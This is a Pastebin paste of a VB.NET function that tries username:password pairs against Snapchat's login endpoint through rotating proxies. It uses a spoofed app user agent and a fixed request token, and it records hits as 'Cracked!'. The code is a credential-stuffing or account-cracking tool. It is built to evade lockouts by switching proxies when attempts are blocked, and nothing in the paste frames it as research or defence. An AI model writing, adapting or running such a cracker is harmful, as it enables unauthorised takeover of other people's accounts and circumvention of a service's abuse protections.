Advertisement
Guest User

Untitled

a guest
Jan 21st, 2018
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.51 KB | None | 0 0
  1. Public Function login(username As String, Password As String, Proxy As WebProxy)
  2. Dim result As String
  3. While OFF = False
  4.  
  5. Try
  6.  
  7. Dim postData As String = "password=" & Password & "&req_token=9304d151ced17c086eed4ae4ffa57304c7e64d821980ca8b69b43b14ddc5188b&timestamp=1509567052943&username=" & username
  8. Dim tempCook As CookieContainer
  9. Dim encoding As New UTF8Encoding
  10. Dim bytedata As Byte() = encoding.GetBytes(postData)
  11. Dim request As HttpWebRequest = DirectCast(WebRequest.Create("https://app.snapchat.com/loq/login"), HttpWebRequest)
  12. request.Proxy = Proxy
  13.  
  14. request.Headers.Add("Accept-Language", "en;q=0.9")
  15. request.ContentType = "application/x-www-form-urlencoded"
  16. request.Method = "POST"
  17. request.KeepAlive = True
  18. request.CookieContainer = tempCook
  19. request.UserAgent = "Snapchat/8.8.0.0 (SM-G900F; Android 5.0#G900FXXS1BPCL#21; gzip)"
  20. request.ContentLength = bytedata.Length
  21. Dim requestStream As Stream = request.GetRequestStream()
  22. requestStream.Write(bytedata, 0, bytedata.Length)
  23. requestStream.Close()
  24. Dim responseS As HttpWebResponse
  25. responseS = DirectCast(request.GetResponse(), HttpWebResponse)
  26. Dim Reader As New StreamReader(responseS.GetResponseStream())
  27. Dim thepage As String = Reader.ReadToEnd
  28.  
  29. If thepage.Contains("Thanks!") Then
  30. result = "Cracked!"
  31. Right.Text = Right.Text & vbCrLf & username & ":" & Password
  32.  
  33. ElseIf thepage.Contains("password is incorrect") Then
  34. result = "password wrong"
  35. Wrong.Text = Wrong.Text & vbCrLf & username & ":" & Password
  36.  
  37. ElseIf thepage.Contains("failed login attempts") Then
  38. result = "Proxy Blocked"
  39. Wrong.Text = Wrong.Text & vbCrLf & "Proxy Blocked Changing Proxy"
  40. ElseIf thepage.Contains("Invalid account") Then
  41.  
  42. result = "account not found"
  43. Wrong.Text = Wrong.Text & vbCrLf & username & ":" & Password
  44.  
  45. End If
  46.  
  47. Catch ex As Exception
  48. Wrong.Text = Wrong.Text & vbCrLf & "Error: " & ex.Message
  49. End Try
  50.  
  51.  
  52. End While
  53.  
  54. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement